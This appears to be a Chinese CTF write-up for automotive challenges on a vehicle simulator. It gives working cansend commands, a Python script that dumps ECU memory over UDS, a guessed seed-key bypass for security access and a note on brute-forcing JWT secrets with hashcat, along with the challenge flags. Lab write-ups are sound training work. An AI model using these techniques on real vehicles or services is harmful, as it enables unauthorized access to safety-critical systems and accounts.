  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第一个字节21里的2是标识符，代表它是连续帧，1代表它是第一个帧</p>
<p>第二行同上</p>
<p>之前的三个字节，和这边的14个字节，总共17个字节，hex转ascii</p>
<p>flag{v1n_BHmach3}</p>
<h3 id="startup-message">Startup Message<a class="anchor" href="#startup-message">#</a></h3>
<p>重启ECU，这里用0x11服务的0x01子功能</p>
<blockquote>
<p>Service ID: <code>0x11</code></p>
<p>子功能 (Sub-function)：</p>
<ul>
<li><code>0x01</code> → Hard Reset（硬复位，相当于掉电重启 ECU）</li>
<li><code>0x02</code> → Key Off On Reset（模拟点火关闭再开启）</li>
<li><code>0x03</code> → Soft Reset（软件复位，类似 MCU reset）</li>
<li><code>0x04</code> → Enable Rapid Power Shutdown</li>
<li><code>0x05</code> → Disable Rapid Power Shutdown</li>
</ul>
</blockquote>
<p>所以执行</p>
<p><code>cansend vcan0 7DF#0211010000000000</code></p>
<p>监听结果是</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">candump vcan0,780:780
</span></span><span class="line"><span class="ln">2</span><span class="cl">vcan0  7DF   [8]  02 11 01 00 00 00 00 00
</span></span><span class="line"><span class="ln">3</span><span class="cl">vcan0  7E8   [8]  02 51 01 00 00 00 00 00
</span></span><span class="line"><span class="ln">4</span><span class="cl">vcan0  7DF   [8]  07 67 30 47 72 65 33 6E
</span></span><span class="line"><span class="ln">5</span><span class="cl">vcan0  7E0   [8]  30 00 00 00 00 00 00 00</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我发送流控帧后没有结果，那么上一条不是我发送的7DF，就是ECU重启时的对外广播</p>
<p>去掉07长度，67 30 47 72 65 33 6E转ascii是g0Gre3n</p>
<h3 id="engine-trouble">Engine Trouble?<a class="anchor" href="#engine-trouble">#</a></h3>
<p>Hint说查询DTC，去备忘录找了一下，</p>
<p>0x19 读取故障码信息 ReadDTCInformation</p>
<p>那就用0x19服务，但是读取DTC也有很多方式，查询子服务就能看到。题目说了车灯亮了，这是一个状态，我们要通过状态读取DTC，就是0x02子服务</p>
<p>查询这个需要掩码来查询，掩码对应内容是</p>
<table>
	<thead>
			<tr>
					<th>Bit</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>0</td>
					<td>testFailed</td>
			</tr>
			<tr>
					<td>1</td>
					<td>testFailedThisMonitoringCycle</td>
			</tr>
			<tr>
					<td>2</td>
					<td>pendingDTC</td>
			</tr>
			<tr>
					<td>3</td>
					<td>confirmedDTC</td>
			</tr>
			<tr>
					<td>4</td>
					<td>testNotCompletedSinceLastClear</td>
			</tr>
			<tr>
					<td>5</td>
					<td>testFailedSinceLastClear</td>
			</tr>
			<tr>
					<td>6</td>
					<td>testNotCompletedThisMonitoringCycle</td>
			</tr>
			<tr>
					<td>7</td>
					<td>warningIndicatorRequested</td>
			</tr>
	</tbody>
</table>
<p>我们要读取confirmedDTC，bit 3就是1，其余不需要就是0，所以就是00001000，转十进制就是8</p>
<p>所以我们广播这个命令：<code>cansend vcan0 7DF#03190208</code></p>
<p>收到vcan0  7E8   [8]  07 59 02 08 3E 9F 01 AB</p>
<p>所以数据是3E 9F 01 AB，DTC固定返回三个字节，AB是状态，舍去</p>
<p>参考https://blog.csdn.net/qq_40309666/article/details/133955750</p>
<table>
	<thead>
			<tr>
					<th>00</th>
					<th>P   动力总成</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>01</td>
					<td>C   底盘</td>
			</tr>
			<tr>
					<td>10</td>
					<td>B   车身</td>
			</tr>
			<tr>
					<td>11</td>
					<td>U   网络</td>
			</tr>
	</tbody>
</table>
<p>3E 9F 01转二进制得到00111110 10011111 00000001</p>
<p>前两个数字就是上面表中的对应关系。其余转回去</p>
<p>P3E9F01，根据提示的格式，答案是P3E9F-01</p>
<h3 id="secrets-in-memory">Secrets in Memory?<a class="anchor" href="#secrets-in-memory">#</a></h3>
<p>让从内存读数据，内存地址从0xC3F80000开始</p>
<p>从地址读内存是23号服务</p>
<p>我们需要构建的can帧是<code>7DF#072314C3F80000FF</code></p>
<p>07是长度，23是SID ，14代表地址用4个字节表示，读取的块大小用一个字节表示</p>
<p>C3F80000就是地址，FF就是一个字节能读的最大长度。</p>
<p>发送后补一个cansend vcan0 7E0#3000000000000000 流控帧</p>
<p>又遇到收不到连续帧的问题</p>
<p><code>cansend vcan0 7DF#072314C3F80000FF &amp;&amp; sleep 0.01 &amp;&amp; cansend vcan0 7e0#3000000000000000</code></p>
<p>这样可以</p>
<p>可以看到输出了很多行数据，后面大片是0，仅有的几行数据转码是</p>
<p>Block Harbor 2022 Mach-E Simulator Version 1.0.</p>
<p>写脚本吧，不知道距离给的地址有多远呢</p>
<p>脚本循环读取内存，每次读取0xFF的大小，然后加上0xFF的地址，一直读取到我们预设的endAddr</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">can</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">binascii</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">bus</span> <span class="o">=</span> <span class="n">can</span><span class="o">.</span><span class="n">Bus</span><span class="p">(</span><span class="n">interface</span><span class="o">=</span><span class="s2">&#34;socketcan&#34;</span><span class="p">,</span><span class="n">channel</span><span class="o">=</span><span class="s2">&#34;vcan0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">recv</span> <span class="o">=</span> <span class="s2">&#34;[DATA]:&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="c1"># 开始地址已有，结束地址选大点</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">startAddr</span><span class="o">=</span><span class="mh">0xC3F80000</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">endAddr</span><span class="o">=</span><span class="mh">0xC3F88000</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#循环读取内存数据</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="k">for</span> <span class="n">readAddr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">startAddr</span><span class="p">,</span><span class="n">endAddr</span><span class="p">,</span><span class="mh">0xFF</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="c1">#分割地址</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="n">byte1</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">24</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">byte2</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">16</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">byte3</span><span class="o">=</span><span class="p">(</span><span class="n">readAddr</span> <span class="o">&gt;&gt;</span><span class="mi">8</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">byte4</span><span class="o">=</span><span class="n">readAddr</span><span class="o">&amp;</span> <span class="mh">0xFF</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1"># 构造数据</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">candata</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="n">byte1</span><span class="p">,</span> <span class="n">byte2</span><span class="p">,</span> <span class="n">byte3</span><span class="p">,</span> <span class="n">byte4</span><span class="p">,</span> <span class="mh">0xFF</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="c1">#构造读取内存can帧</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="n">readMem</span> <span class="o">=</span> <span class="n">can</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="n">arbitration_id</span><span class="o">=</span><span class="mh">0x7DF</span><span class="p">,</span> <span class="n">is_extended_id</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">dlc</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">candata</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">bus</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">readMem</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">frameCount</span><span class="o">=</span><span class="mi">0</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="c1"># 一帧7字节数据，36帧252，基本能覆盖完了</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">while</span> <span class="n">frameCount</span><span class="o">&lt;</span><span class="mi">36</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">msg</span><span class="o">=</span><span class="n">bus</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span> <span class="n">msg</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="c1"># 判断是否是首帧</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="k">if</span> <span class="n">frameCount</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="c1"># 首帧要去掉前3个字节，也就是前6个字母</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="n">recv</span><span class="o">+=</span><span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)[</span><span class="mi">6</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="c1"># 收到首帧立马发流控帧</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                <span class="n">FC</span><span class="o">=</span><span class="n">can</span><span class="o">.</span><span class="n">Message</span><span class="p">(</span><span class="n">arbitration_id</span><span class="o">=</span><span class="mh">0x7E0</span><span class="p">,</span><span class="n">is_extended_id</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span><span class="n">dlc</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="p">[</span><span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">                <span class="n">bus</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">FC</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">            <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="n">recv</span><span class="o">+=</span><span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">msg</span><span class="o">.</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">            <span class="n">frameCount</span><span class="o">+=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="n">bus</span><span class="o">.</span><span class="n">shutdown</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">recv</span><span class="p">)</span></span></span></code></pre><div class="title text-sm text-muted-foreground px-3 py-1 rounded-lg border">readmem.py</div><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>输出很长的十六进制字符串，不知道为什么，无论我用fromhex，还是unhexlify都报错，可能是这俩函数太严格，毕竟我们截取的字符串长度不够标准</p>
<p>所以执行脚本是用xxd转码</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python readmem.py <span class="p">|</span>xxd -r -p</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>xxd比较宽松，可以得到flag{mem+r34d}</p>
<p>注：以前模拟器内置python-can库，现在没有了，需要pip安装，但提示会破坏系统环境，venv没权限，pipx也没有。所以强制安装python-can：<code>pip install python-can --break-system-packages</code></p>
<h3 id="security-access-level-3">Security Access Level 3<a class="anchor" href="#security-access-level-3">#</a></h3>
<p>这题靠猜算法，在CTF中4个字节的种子最基本的算法就是<strong>取反</strong>、<strong>移位</strong>、<strong>异或0x12345678</strong></p>
<p>取反其实就是和0xFFFFFFFF异或，取反另一种写法是<code>~seed</code></p>
<p>这题就是取反，种子是0x1337</p>
<p>python异或比较方便</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x1337</span> <span class="o">^</span> <span class="mh">0xFFFF</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="s1">&#39;0xecc8&#39;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>用Cyberchef也可以，不过要先把input作为Hex处理，再异或，然后以Hex输出：</p>
<p><a
  href="https://cyberchef.io/#recipe=From_Hex%28%27Auto%27%29XOR%28%7B%27option%27:%27Hex%27,%27string%27:%27FFFF%27%7D,%27Standard%27,false%29To_Hex%28%27None%27,0%29&amp;input=MTMzNw" rel="nofollow noopener noreferrer" target="_blank"
  >https://cyberchef.io/#recipe=From_Hex(&lsquo;Auto&rsquo;)XOR(%7B&rsquo;option&rsquo;:&lsquo;Hex&rsquo;,&lsquo;string&rsquo;:&lsquo;FFFF&rsquo;%7D,&lsquo;Standard&rsquo;,false)To_Hex(&lsquo;None&rsquo;,0)&amp;input=MTMzNw<span style="user-select:none"> ↗</span></a
>
</p>
<h3 id="security-access-level-1">Security Access Level 1<a class="anchor" href="#security-access-level-1">#</a></h3>
<p>首先通过Level 3，也就是上一题，然后读取 0x1A000处内存，不过可能要读取很长一段</p>
<p>写脚本时注意要切换会话到诊断会话</p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<h3 id="sorry-but-your-princess-is-in-another-castle">Sorry, But Your Princess is in Another Castle<a class="anchor" href="#sorry-but-your-princess-is-in-another-castle">#</a></h3>
<p>jwt暴破</p>
<p>我本以为是解开后，伪造一下admin，但是解开后发现有password字段。不过这个题是用hashcat暴破 JWT HS256算法的密钥。</p>
<p>可以使用常见的密码注册，比如admin123，然后暴破 jwt token</p>
